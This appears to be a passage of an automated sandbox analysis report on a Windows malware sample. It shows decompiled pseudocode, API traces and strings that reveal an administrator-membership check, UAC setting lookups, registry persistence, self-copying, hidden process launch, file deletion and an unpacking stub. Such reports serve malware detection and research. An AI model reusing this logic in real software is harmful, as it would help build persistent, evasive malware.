							_t424 = E0040675C( &_v672,  &_v12, 0);
							_t467 = _t467 + 0xc;
							if(_t424 != 0 && _v12 != 0) {
								_t426 = E00406A60(_t449,  &_v372, _t424, _v12);
								_t467 = _t467 + 0xc;
								_v12 = _t426;
							}
						}
						goto L19;
					}
					_t454 = _t417 + 4;
					_t428 = E0040ED03(_t417 + 4, 0x22);
					_pop(_t438);
					if(_t428 == 0) {
						goto L14;
					} else {
						_t459 = _t428 - _v8;
						E0040EE08( &_v372, _t454, _t459 - 4);
						 *((char*)(_t464 + _t459 - 0x174)) = 0;
						goto L13;
					}
				}
			}

0x00409a7f
0x00409a83
0x00409a8a
0x00409a90
0x00409a97
0x00409a9d
0x0040a3cc
0x0040a3d2
0x0040a41c
0x0040a42c
0x0040a43a
0x0040a440
0x0040a448
0x0040a452
0x0040a45a
0x0040a469
0x0040a46b
0x0040a470
0x0040a475
0x0040a47a
0x0040a48a
0x0040a48c
0x0040a497
0x0040a497
0x0040a49d
0x00000000
0x00000000
0x0040a49f
0x0040a4a7
0x0040a4ac
0x0040a4be
0x0040a4c3
0x00000000
0x0040a4c3
0x0040a4ae
0x0040a4ae
0x0040a4b3
0x0040a4b5
0x0040a4b9
0x0040a4b9
0x00000000
0x0040a4b5
0x0040a497
0x0040a3da
0x0040a406
0x0040a407
0x0040a409
0x0040a40b
0x00000000
0x00000000
0x0040a3e8
0x0040a3eb
0x00000000
0x00000000
0x0040a3ed
0x0040a3f3
0x0040a3f6
0x00000000
0x00000000
0x0040a3f8
0x0040a3f8
0x0040a3f8
0x0040a400
0x0040a400
0x0040a414
0x0040a419
0x00000000
0x00409aa3
0x00409ab0
0x00409ac2
0x00409ac4
0x00409ac4
0x00409ad1
0x00409ae1
0x00409aef
0x00409af4
0x00409af9
0x00409afb
0x00409afb
0x00409af9
0x00409afd
0x00409b14
0x00409b1a
0x00409b26
0x00409b2b
0x00409b33
0x00409b36
0x00409b3b
0x00409b41
0x00409c26
0x00409c2b
0x00409c2e
0x00409c33
0x0040a1de
0x0040a1e4
0x0040a1fd
0x0040a211
0x0040a214
0x0040a219
0x0040a21c
0x0040a21f
0x0040a2e2
0x0040a305
0x0040a308
0x0040a30d
0x0040a310
0x0040a313
0x0040a35a
0x0040a35a
0x0040a35f
0x0040a361
0x0040a3c2
0x00409c05
0x00409c06
0x00409c06
0x0040a363
0x0040a369
0x0040a397
0x0040a397
0x0040a39d
0x0040a3a3
0x0040a3aa
0x0040a3b1
0x0040a3b4
0x0040a3b7
0x00000000
0x0040a3b7
0x0040a36b
0x0040a371
0x0040a374
0x0040a374
0x0040a376
0x0040a377
0x0040a377
0x0040a37d
0x0040a380
0x00000000
0x00000000
0x0040a38e
0x0040a394
0x00000000
0x0040a394
0x0040a318
0x0040a31e
0x0040a324
0x0040a325
0x0040a327
0x0040a339
0x0040a33b
0x0040a33d
0x0040a340
0x0040a344
0x0040a344
0x0040a34c
0x0040a351
0x0040a354
0x00000000
0x0040a354
0x0040a329
0x0040a32b
0x0040a32e
0x0040a32e
0x0040a330
0x0040a331
0x0040a331
0x0040a337
0x0040a337
0x00000000
0x0040a337
0x0040a228
0x0040a22b
0x0040a231
0x0040a234
0x0040a237
0x0040a27a
0x0040a280
0x0040a281
0x0040a283
0x0040a28e
0x0040a28e
0x0040a28e
0x0040a291
0x0040a294
0x0040a297
0x0040a2a5
0x0040a2ad
0x0040a2b4
0x0040a2b4
0x0040a2b7
0x0040a2b7
0x0040a2bd
0x0040a2d0
0x0040a2d5
0x0040a2d5
0x0040a2d8
0x00000000
0x0040a2d8
0x0040a242
0x0040a245
0x0040a24b
0x0040a24c
0x0040a24e
0x00000000
0x00000000
0x0040a253
0x0040a264
0x0040a26c
0x00000000
0x0040a26c
0x00409c39
0x00409c3f
0x0040a167
0x0040a183
0x0040a190
0x0040a196
0x0040a198
0x0040a198
0x0040a1a2
0x0040a1b3
0x0040a1b6
0x0040a1bc
0x0040a1bf
0x0040a1c7
0x0040a1cc
0x0040a1cc
0x0040a1bf
0x0040a1a2
0x00000000
0x00409c54
0x00409c56
0x00409c5b
0x00409c62
0x00000000
0x00000000
0x00409c74
0x00409c79
0x00409c7c
0x00409c81
0x00000000
0x00409c90
0x00409c94
0x00409c97
0x00409c9a
0x00409e3e
0x00409e3e
0x00409e42
0x0040a155
0x0040a158
0x0040a15d
0x0040a161
0x00000000
0x00000000
0x00000000
0x0040a161
0x00409e66
0x00409e6b
0x00409e75
0x00409e77
0x0040a14a
0x0040a14d
0x0040a152
0x00000000
0x0040a152
0x00409e98
0x00409e9d
0x00409ea0
0x00409ea2
0x00000000
0x00000000
0x00409eab
0x00409eb0
0x00409ec1
0x00409ec8
0x00409ed5
0x00409edb
0x00409ee3
0x00409ee4
0x00409ee8
0x00409eeb
0x00409ef2
0x00409ef9
0x00409efc
0x00409efd
0x00409f03
0x00409f03
0x00409f08
0x00409f09
0x00409f0e
0x00409f11
0x00409f2d
0x00409f32
0x00409f3b
0x00409f41
0x00409f44
0x00409f46
0x00409f4b
0x00409f4b
0x00409f67
0x00409f6a
0x00409f6a
0x00409f73
0x00409f82
0x00409f8e
0x00409f98
0x00409f9d
0x00409fb4
0x00409fba
0x00409fbc
0x00409fc2
0x00409fc9
0x00409fcf
0x00409fd2
0x00409fd4
0x00409fda
0x00409fda
0x00409fdd
0x00409fe1
0x00409fe7
0x00409feb
0x00409ff1
0x00409ff4
0x00409ff8
0x00409ffb
0x00409ffe
0x0040a004
0x0040a007
0x0040a010
0x0040a025
0x0040a038
0x0040a041
0x0040a046
0x0040a049
0x0040a050
0x0040a05e
0x0040a05e
0x0040a072
0x0040a078
0x0040a07f
0x0040a08d
0x0040a08d
0x0040a093
0x0040a093
0x0040a007
0x00409feb
0x00409fe1
0x0040a09a
0x0040a09d
0x0040a09f
0x0040a0a2
0x0040a0b6
0x0040a0de
0x0040a0e7
0x0040a0ec
0x0040a0fd
0x0040a0fd
0x0040a0a2
0x0040a120
0x0040a126
0x0040a128
0x0040a131
0x0040a137
0x0040a137
0x0040a13a
0x0040a13e
0x0040a140
0x0040a143
0x0040a145
0x0040a145
0x0040a143
0x00000000
0x0040a13e
0x00409ef4
0x00409ef7
0x00000000
0x00000000
0x00000000
0x00409ef7
0x00409cac
0x00409cb2
0x00409cb4
0x00000000
0x00000000
0x00409cd5
0x00409cda
0x00409cdf
0x00000000
0x00000000
0x00409ce9
0x00409cec
0x00409d58
0x00409d59
0x00409d64
0x00409d65
0x00409d6a
0x00409d7a
0x00409d8b
0x00409d9d
0x00409da3
0x00409da3
0x00000000
0x00409cf6
0x00409cf6
0x00409cfc
0x00409cff
0x00409cff
0x00409d01
0x00409d02
0x00409d06
0x00409d0a
0x00409d16
0x00409d16
0x00409d17
0x00409d1b
0x00409d2f
0x00409d2f
0x00409d3e
0x00409d41
0x00409d49
0x00409d4f
0x00409d52
0x00409da5
0x00409da8
0x00409db6
0x00409db6
0x00409db0
0x00409db0
0x00409db0
0x00409db7
0x00409db8
0x00409dbf
0x00409dc3
0x00409dca
0x00409dd1
0x00409dd2
0x00409dd7
0x00409ddc
0x00409e21
0x00409e26
0x00409e29
0x00000000
0x00409dde
0x00409df5
0x00409e0c
0x00409e11
0x00409e16
0x00409e1c
0x00409e2e
0x00409e2e
0x00409e38
0x00000000
0x00409e38
0x00409df9
0x00409dfd
0x00409dff
0x00409dff
0x00409e04
0x00000000
0x00409e04
0x00409d1d
0x00409d1d
0x00409d23
0x00409d2a
0x00409d2d
0x00000000
0x00000000
0x00000000
0x00409d2d
0x00000000
0x00409d23
0x00409d1b
0x00409cec
0x00409c81
0x00409c3f
0x00409b47
0x00409b4a
0x00409b4d
0x00409b56
0x00409b8b
0x00409b91
0x00409b92
0x00409b94
0x00409b9f
0x00409b9f
0x00409b9f
0x00409ba4
0x00409ba4
0x00409bb3
0x00409bb8
0x00409bbf
0x00409bbf
0x00409bc2
0x00409bc8
0x00409bde
0x00409be3
0x00409be8
0x00409bfa
0x00409bff
0x00409c02
0x00409c02
0x00409be8
0x00000000
0x00409bc8
0x00409b58
0x00409b5e
0x00409b64
0x00409b67
0x00000000
0x00409b69
0x00409b6b
0x00409b7a
0x00409b7f
0x00000000
0x00409b7f
0x00409b67

APIs

SetErrorMode.KERNELBASE(00000003), ref: 00409A7F
SetErrorMode.KERNELBASE(00000003), ref: 00409A83
SetUnhandledExceptionFilter.KERNELBASE(00406511), ref: 00409A8A

Part of subcall function 0040EC54: GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
Part of subcall function 0040EC54: GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
Part of subcall function 0040EC54: GetTickCount.KERNEL32 ref: 0040EC78

GetModuleHandleA.KERNEL32(00000000,?,0000012C), ref: 00409AB3
GetModuleFileNameA.KERNEL32(00000000), ref: 00409ABA
GetCommandLineA.KERNEL32 ref: 00409AFD
lstrlenA.KERNEL32(?), ref: 00409B99
ExitProcess.KERNEL32 ref: 00409C06
GetTempPathA.KERNEL32(000001F4,?), ref: 00409CAC
lstrcpyA.KERNEL32(?,00000000), ref: 00409D7A
lstrcatA.KERNEL32(?,?), ref: 00409D8B
lstrcatA.KERNEL32(?,0041070C), ref: 00409D9D
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 00409DED
DeleteFileA.KERNEL32(00000022), ref: 00409E38
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,000001F4), ref: 00409E6F
lstrcpyA.KERNEL32(?,00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409EC8
lstrlenA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409ED5
RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000103,?), ref: 00409F3B
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,00000022,?,?,?,00000000,00000103,?), ref: 00409F5E
RegCloseKey.ADVAPI32(?,?,?,00000000,00000103,?), ref: 00409F6A
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103), ref: 00409FAD
GetModuleFileNameA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FB4
GetDriveTypeA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FFE
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A038
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A05E
lstrcatA.KERNEL32(00000022,00000022), ref: 0040A072
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A08D
wsprintfA.USER32 ref: 0040A0B6
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A0DE
lstrcatA.KERNEL32(00000022,?), ref: 0040A0FD
CreateProcessA.KERNEL32(00000000,00000022,00000000,00000000,00000000,08000000,00000000,00000000,00000044,?), ref: 0040A120
DeleteFileA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 0040A131
GetModuleHandleA.KERNEL32(00000000,00000022,0000012C), ref: 0040A174
GetModuleFileNameA.KERNEL32(00000000), ref: 0040A17B
GetDriveTypeA.KERNEL32(00000022), ref: 0040A1B6
GetCommandLineA.KERNEL32 ref: 0040A1E5

Part of subcall function 004099D2: lstrcpyA.KERNEL32(?,?,00000100,PromptOnSecureDesktop,00000000,?,00409E9D,?,00000022,?,?,?,?,?,?,?), ref: 004099DF
Part of subcall function 004099D2: lstrcatA.KERNEL32(00000022,00000000,?,?,00409E9D,?,00000022,?,?,?,?,?,?,?,000001F4), ref: 00409A3C
Part of subcall function 004099D2: lstrcatA.KERNEL32(?,00000022,?,?,?,?,?,00409E9D,?,00000022,?,?,?), ref: 00409A52

lstrlenA.KERNEL32(?), ref: 0040A288
StartServiceCtrlDispatcherA.ADVAPI32(?), ref: 0040A3B7
GetLastError.KERNEL32 ref: 0040A3ED
Sleep.KERNEL32(000003E8), ref: 0040A400
DeleteFileA.KERNEL32(004133D8), ref: 0040A407
CreateThread.KERNEL32 ref: 0040A42C
WSAStartup.WS2_32(00001010,?), ref: 0040A43A
CreateThread.KERNEL32 ref: 0040A469
Sleep.KERNEL32(00000BB8), ref: 0040A48A
GetTickCount.KERNEL32 ref: 0040A49F
GetTickCount.KERNEL32 ref: 0040A4B7
Sleep.KERNEL32(00002710), ref: 0040A4C3

Strings

", xrefs: 00409EDB
D, xrefs: 00409F8E
", xrefs: 0040A078
0t, xrefs: 0040A491
\, xrefs: 00409D0C
Mt, xrefs: 00409AB3, 00409FAD, 0040A174
", xrefs: 0040A189
%X%08X, xrefs: 0040A0B0
PromptOnSecureDesktop, xrefs: 00409B14, 00409B19, 00409B32, 00409E65, 00409EAA, 00409F2C, 00409F72, 0040A024, 0040A040, 0040A0CD, 0040A0E6, 0040A14C, 0040A1FC, 0040A210, 0040A2F3, 0040A304
P, xrefs: 00409DAA

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrcat$File$Module$CountCreateDeleteErrorHandleNameSleepTicklstrcpylstrlen$CommandDriveLineModeProcessThreadTimeType$AttributesCloseCtrlDispatcherEnvironmentExceptionExitFilterInformationLastOpenPathServiceStartStartupSystemTempUnhandledValueVariableVolumewsprintf
String ID: "$"$"$%X%08X$0t$D$P$PromptOnSecureDesktop$\$Mt
API String ID: 2089075347-3963311112
Opcode ID: 22371034e60be2e8533f9a4e74c45ceaa5b305d0f588b9e787c30c92806b4a47
Instruction ID: 8eb9ea6afe9ee9197cc0e6cd2b03883a1bab6226c4cfd690aa98a93bf3167ae2
Opcode Fuzzy Hash: 22371034e60be2e8533f9a4e74c45ceaa5b305d0f588b9e787c30c92806b4a47
Instruction Fuzzy Hash: 275291B1D40259BBDB11DBA1CC49EEF7BBCAF04304F1444BBF509B6182D6788E948B69

Uniqueness

Uniqueness Score: -1.00%

Function 00406EDD, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00406EDD() {
				int _v8;
				void* _v12;
				short _v16;
				struct _SID_IDENTIFIER_AUTHORITY _v20;
				signed int _t12;
				int _t15;
				int* _t16;

				_t12 =  *0x412048; // 0x1
				if(_t12 < 0) {
					_v20.Value = 0;
					_v16 = 0x500;
					_t15 = AllocateAndInitializeSid( &_v20, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v12);
					_v8 = _t15;
					if(_t15 != 0) {
						_t6 =  &_v8; // 0x40702a
						_t16 = _t6;
						__imp__CheckTokenMembership(0, _v12, _t16);
						if(_t16 != 0) {
							 *0x412048 = 0 | _v8 == 0x00000000;
						}
						FreeSid(_v12);
					}
					_t12 =  *0x412048; // 0x1
					if(_t12 != 0) {
						_t12 = E00406E36(0x12, 0); // executed
						 *0x412048 = _t12;
					}
				}
				return _t12;
			}

0x00406ee0
0x00406eed
0x00406f06
0x00406f09
0x00406f0f
0x00406f15
0x00406f1a
0x00406f1c
0x00406f1c
0x00406f24
0x00406f2c
0x00406f36
0x00406f36
0x00406f3e
0x00406f3e
0x00406f44
0x00406f4b
0x00406f50
0x00406f57
0x00406f57
0x00406f4b
0x00406f5e

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00406F0F
CheckTokenMembership.ADVAPI32(00000000,?,*p@), ref: 00406F24
FreeSid.ADVAPI32(?), ref: 00406F3E

Strings

*p@, xrefs: 00406F1C, 00406F1F

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID: *p@
API String ID: 3429775523-2474123842
Opcode ID: 0a69dbeda0d4a5e9697027706ead212625e9f8fcf1c47752efd156d30f81919c
Instruction ID: a55d58a6849641b9de595c9770ce5785232f8714219103e6702645194e06a02f
Opcode Fuzzy Hash: 0a69dbeda0d4a5e9697027706ead212625e9f8fcf1c47752efd156d30f81919c
Instruction Fuzzy Hash: 6701E571904209AFDB10DFE4ED85AAE7BB8F708304F50847AE606E2191D7745A54CB18

Uniqueness

Uniqueness Score: -1.00%

Function 00401820, Relevance: 3.1, APIs: 2, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E00401820(intOrPtr* _a4, intOrPtr* _a8) {
				char _v8;
				char _v12;
				char _v16;
				intOrPtr _t17;
				intOrPtr _t20;
				intOrPtr _t22;
				intOrPtr _t25;
				void* _t41;
				intOrPtr _t42;

				_v8 = 0;
				_v12 = 0;
				_t17 = E00401000();
				if(_t17 > 0) {
					_t20 =  *0x413940(GetCurrentProcess(), 8,  &_v8);
					if(_t20 >= 0) {
						_t22 =  *0x413954(_v8, 0x12,  &_v16, 4,  &_v12, _t41); // executed
						_t42 = _t22;
						 *0x41393c(_v8);
						if(_t42 >= 0) {
							_t25 = _v16;
							if(_t25 == 3) {
								return 1;
							} else {
								 *_a8 = 0x20c;
								 *_a4 = _t25;
								return 0;
							}
						} else {
							 *_a8 = 0x20b;
							 *_a4 = _t42;
							return 0;
						}
					} else {
						 *_a8 = 0x20a;
						 *_a4 = _t20;
						return 0;
					}
				} else {
					 *_a8 = 0x201;
					 *_a4 = _t17;
					return 0;
				}
			}

0x00401826
0x0040182d
0x00401834
0x0040183b
0x0040185e
0x00401866
0x0040188d
0x00401893
0x00401899
0x004018a1
0x004018b8
0x004018be
0x004018de
0x004018c0
0x004018c6
0x004018cc
0x004018d4
0x004018d4
0x004018a3
0x004018a9
0x004018af
0x004018b7
0x004018b7
0x00401868
0x0040186e
0x00401874
0x0040187b
0x0040187b
0x0040183d
0x00401843
0x00401849
0x00401850
0x00401850

APIs

Part of subcall function 00401000: LoadLibraryA.KERNEL32(ntdll.dll,00000000,00401839,00409646), ref: 00401012

GetCurrentProcess.KERNEL32(00000008,00000000,00409646), ref: 00401857

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CurrentLibraryLoadProcess
String ID:
API String ID: 2934848855-0
Opcode ID: d3bf04374683254a7ff9582ff7bb8df82db05eb60da1d0487f63262ac05645c4
Instruction ID: ff152fe7df6283169b44c0841219fe648ae006778000c8fb05779bb95ac2d07b
Opcode Fuzzy Hash: d3bf04374683254a7ff9582ff7bb8df82db05eb60da1d0487f63262ac05645c4
Instruction Fuzzy Hash: 8B215476A0120CAFDB01DFA4D844BE9B7B8EB49315F10C1A5ED08DB350D775DA40CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0041AB8B, Relevance: 62.0, APIs: 1, Strings: 34, Instructions: 786memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(00000040,00000000), ref: 0041C791

Strings

*E[o, xrefs: 0041AFA4
kOon, xrefs: 0041AE9F
Dx8|, xrefs: 0041B77C
VirtualProtect, xrefs: 0041B66F, 0041B674, 0041C73E
w/a, xrefs: 0041B20C
[qFq, xrefs: 0041AFDA
[(, xrefs: 0041BF11
1s<R, xrefs: 0041B556
IkL, xrefs: 0041AF6D
g$0, xrefs: 0041B926
CWv, xrefs: 0041B79D
T, xrefs: 0041BF27
PV, xrefs: 0041BB3A
lh;_, xrefs: 0041B771
N%z", xrefs: 0041B1A7
Ig, xrefs: 0041BDE2
qcc-, xrefs: 0041B2FD
FW,(, xrefs: 0041B800
y]n6, xrefs: 0041BC46
(::L, xrefs: 0041AF83
=:6U, xrefs: 0041B19F
/><, xrefs: 0041B27A
>e] , xrefs: 0041BD35
R$#, xrefs: 0041B2EA
H/P, xrefs: 0041C0CC
|~, xrefs: 0041BB0E
k/^, xrefs: 0041BC3B
Sst1, xrefs: 0041B011
9o, xrefs: 0041B86E
F[x`, xrefs: 0041B0B3
JfG, xrefs: 0041AD19
SKCo, xrefs: 0041AEAA
*9ix, xrefs: 0041B5C6
p0SP, xrefs: 0041B07F

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID: w/a$g$0$PV$(::L$*9ix$*E[o$/><$1s<R$=:6U$>e] $Dx8|$FW,($F[x`$IkL$Ig$JfG$N%z"$R$#$SKCo$Sst1$T$VirtualProtect$[qFq$[($k/^$kOon$lh;_$p0SP$qcc-$y]n6$9o$CWv$H/P$|~
API String ID: 544645111-66855312
Opcode ID: c3f189b7cc7afdcaace438ef1ebcabad01d93943a717b47d078f78c0bab740f7
Instruction ID: 26cdda97fe488cdaba8d2127f86bd9878fee5b2f97614fe1cabf6b4c638146d7
Opcode Fuzzy Hash: c3f189b7cc7afdcaace438ef1ebcabad01d93943a717b47d078f78c0bab740f7
Instruction Fuzzy Hash: 9EC2D8B45093C08BC2B58F1A85897CFFBE4BB95318F508A0CE6DD5A611DB718A85CF4B

Uniqueness

Uniqueness Score: -1.00%

Function 004073FF, Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 345
registryCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E004073FF(void* __ecx, intOrPtr* _a4, signed int* _a8, int** _a12, char* _a16, char* _a20) {
				CHAR* _v8;
				void* _v12;
				int _v16;
				void* _v20;
				int* _v24;
				char* _v28;
				intOrPtr _v32;
				int _v36;
				char _v295;
				char _v296;
				char _v556;
				void _v592;
				intOrPtr* _t85;
				int** _t86;
				char* _t87;
				char* _t88;
				intOrPtr _t89;
				char* _t91;
				long _t92;
				signed int _t93;
				long _t97;
				signed int _t103;
				long _t107;
				char* _t118;
				intOrPtr* _t119;
				CHAR* _t123;
				void* _t125;
				char* _t127;
				intOrPtr* _t134;
				void* _t136;
				intOrPtr _t137;
				signed int* _t146;
				int** _t147;
				void* _t160;
				signed int _t163;
				intOrPtr _t164;
				void* _t165;
				intOrPtr _t167;
				intOrPtr _t172;
				intOrPtr* _t173;
				void* _t186;
				intOrPtr _t187;
				int* _t188;
				void* _t190;
				void* _t191;
				char* _t192;
				signed int _t194;
				int* _t196;
				void* _t202;
				void* _t203;
				void* _t204;
				void* _t206;

				_t165 = __ecx;
				_t85 = _a8;
				_t188 = 0;
				_v16 = 0x104;
				if(_t85 != 0) {
					 *_t85 = 0;
				}
				_t86 = _a12;
				if(_t86 != _t188) {
					 *_t86 = _t188;
				}
				_t87 = _a16;
				if(_t87 != _t188) {
					 *_t87 = 0;
				}
				_t88 = _a20;
				if(_t88 != _t188) {
					 *_t88 = 0; // executed
				}
				_t89 = E00406DC2(_t165); // executed
				_v32 = _t89;
				_t160 = 0xe4;
				_t91 = E00402544(0x4122f8, 0x4106e8, 0x22, 0xe4, 0xc8);
				_t204 = _t203 + 0x14;
				_t92 = RegOpenKeyExA(0x80000002, _t91, _t188, 0x20119,  &_v20); // executed
				_push(0x100);
				_push(_t188);
				_push(0x4122f8);
				if(_t92 != 0) {
					_t93 = E0040EE2A(_t165);
					goto L66;
				} else {
					E0040EE2A(_t165);
					_t206 = _t204 + 0xc;
					_push(_v16);
					_push( &_v556);
					_v24 = _t188;
					_push(_t188);
					while(1) {
						_t97 = RegEnumKeyA(_v20, ??, ??, ??); // executed
						if(_t97 != 0) {
							break;
						}
						if(E00406CAD( &_v556) == 0) {
							L41:
							_v24 =  &(_v24[0]);
							_push(0x104);
							_v16 = 0x104;
							_push( &_v556);
							_push(_v24);
							continue;
						}
						_t103 = E0040F1A5( &_v556);
						_pop(_t167);
						if((_t103 ^ 0x61616161) != _v32) {
							goto L41;
						}
						_v12 = _t188;
						_v16 = 0x104;
						_t107 = RegOpenKeyExA(_v20,  &_v556, _t188, 0x101,  &_v12);
						if(_t107 != _t188) {
							L45:
							if(_t107 != 5) {
								L50:
								E0040EE2A(_t167, 0x4122f8, _t188, 0x100);
								_t206 = _t206 + 0xc;
								L39:
								if(_v12 != _t188) {
									RegCloseKey(_v12);
								}
								goto L41;
							}
							E0040EF00(_a16,  &_v556);
							if(_v12 != _t188) {
								RegCloseKey(_v12);
							}
							_push(4);
							_pop(0);
							L64:
							RegCloseKey(_v20);
							return 0;
						}
						_t118 = E00402544(0x4122f8, 0x4106dc, 0xa, _t160, 0xc8);
						_t206 = _t206 + 0x14;
						_t107 = RegQueryValueExA(_v12, _t118, _t188,  &_v36,  &_v296,  &_v16);
						if(_t107 != _t188) {
							goto L45;
						}
						_t119 =  &_v556;
						_t186 = _t119 + 1;
						do {
							_t167 =  *_t119;
							_t119 = _t119 + 1;
						} while (_t167 != 0);
						if(_v16 <= _t119 - _t186) {
							goto L50;
						}
						_t123 = E0040EE95( &_v296,  &_v556);
						_pop(_t167);
						_v8 = _t123;
						if(_t123 == _t188) {
							goto L50;
						}
						_t125 = E0040EE95(_v8, E00402544(0x4122f8, 0x410694, 5, _t160, 0xc8));
						_t206 = _t206 + 0x1c;
						if(_t125 == 0) {
							_t188 = 0;
							goto L50;
						}
						if(_v296 != 0x22) {
							_t127 = E0040ED03( &_v296, 0x20);
							_pop(_t167);
						} else {
							E0040EF00( &_v296,  &_v295);
							_t127 = E0040ED03( &_v296, 0x22);
							_t206 = _t206 + 0x10;
						}
						if(_t127 != 0) {
							 *_t127 = 0;
						}
						_v8 = E0040EE95( &_v296,  &_v556);
						_v28 = E0040EE95(_v8, E00402544(0x4122f8, 0x410694, 5, _t160, 0xc8));
						E0040EE2A(_t167, 0x4122f8, 0, 0x100);
						_t134 = _a4;
						_t206 = _t206 + 0x30;
						_t190 = _t134 + 1;
						do {
							_t172 =  *_t134;
							_t134 = _t134 + 1;
						} while (_t172 != 0);
						_t173 = _v8;
						_t191 = _t134 - _t190;
						_t43 = _t173 + 1; // 0x1
						_t136 = _t43;
						do {
							_t187 =  *_t173;
							_t173 = _t173 + 1;
						} while (_t187 != 0);
						_t174 = _t173 - _t136;
						if(_t191 <= _t173 - _t136 || E0040ED77(_t191 - _t174 + _a4, _v8) != 0) {
							_t192 = _v28;
							 *_t192 = 0;
							_t137 = E0040ED23(_v8, 0x5c);
							_v8 = _t137;
							if(_t137 != 0) {
								_v8 = _v8 + 1;
							} else {
								_v8 =  &_v296;
							}
							if(E00406CAD(_v8) == 0) {
								 *_t192 = 0x2e;
								goto L38;
							} else {
								_t194 = E0040F1A5(_v8) ^ 0x61616161;
								_t163 = _t194 >> 0x00000008 & 0x000000ff;
								 *_v28 = 0x2e;
								if(E00406C96(_t194) != 0) {
									L37:
									_t160 = 0xe4;
									L38:
									_t188 = 0;
									goto L39;
								}
								_t56 = _t163 - 0x51; // -81
								if(_t56 > 0x2e || (_t194 & 0x000000ff) >= 0x10) {
									goto L37;
								} else {
									_t196 = 0;
									if(GetFileAttributesExA( &_v296, 0,  &_v592) != 0) {
										_t196 = 1;
									}
									_t146 = _a8;
									if(_t146 != 0) {
										 *_t146 = _t163;
									}
									_t164 = _a16;
									if(_t164 != 0) {
										_t202 = _v8 -  &_v296;
										E0040EE08(_t164,  &_v296, _t202);
										 *((char*)(_t202 + _t164)) = 0;
									}
									if(_a20 != 0) {
										E0040EF00(_a20, _v8);
									}
									_t147 = _a12;
									if(_t147 != 0) {
										 *_t147 = _t196;
									}
									_push(3);
									_pop(0);
									goto L63;
								}
							}
						} else {
							E0040EF00(_a16,  &_v556);
							L63:
							RegCloseKey(_v12);
							goto L64;
						}
					}
					_t93 = RegCloseKey(_v20); // executed
					L66:
					return _t93 | 0xffffffff;
				}
			}

0x004073ff
0x00407408
0x0040740e
0x00407410
0x00407419
0x0040741b
0x0040741b
0x0040741d
0x00407422
0x00407424
0x00407424
0x00407426
0x0040742b
0x0040742d
0x0040742d
0x00407430
0x00407435
0x00407437
0x00407437
0x0040743a
0x0040743f
0x00407451
0x00407464
0x00407469
0x00407472
0x00407478
0x0040747d
0x0040747e
0x00407481
0x004077f9
0x00000000
0x00407487
0x00407487
0x0040748c
0x0040748f
0x00407498
0x00407499
0x0040749c
0x00407703
0x00407706
0x0040770e
0x00000000
0x00000000
0x004074b1
0x004076ed
0x004076ed
0x004076f5
0x004076f6
0x004076ff
0x00407700
0x00000000
0x00407700
0x004074be
0x004074c8
0x004074cc
0x00000000
0x00000000
0x004074e6
0x004074e9
0x004074f0
0x004074f8
0x00407727
0x0040772a
0x00407755
0x0040775c
0x00407761
0x004076df
0x004076e2
0x004076e7
0x004076e7
0x00000000
0x004076e2
0x00407736
0x00407740
0x00407745
0x00407745
0x0040774b
0x0040774d
0x004077ec
0x004077ef
0x00000000
0x004077f5
0x0040751c
0x00407521
0x00407528
0x00407530
0x00000000
0x00000000
0x00407536
0x0040753c
0x0040753f
0x0040753f
0x00407541
0x00407542
0x0040754b
0x00000000
0x00000000
0x0040755f
0x00407565
0x00407566
0x0040756b
0x00000000
0x00000000
0x00407589
0x0040758e
0x00407593
0x00407753
0x00000000
0x00407753
0x004075a0
0x004075d1
0x004075d7
0x004075a2
0x004075b0
0x004075be
0x004075c3
0x004075c3
0x004075da
0x004075dc
0x004075dc
0x004075fc
0x00407615
0x00407618
0x0040761d
0x00407620
0x00407623
0x00407626
0x00407626
0x00407628
0x00407629
0x0040762d
0x00407632
0x00407634
0x00407634
0x00407637
0x00407637
0x00407639
0x0040763a
0x0040763e
0x00407642
0x0040765c
0x00407664
0x00407667
0x0040766e
0x00407673
0x00407680
0x00407675
0x0040767b
0x0040767b
0x0040768e
0x00407722
0x00000000
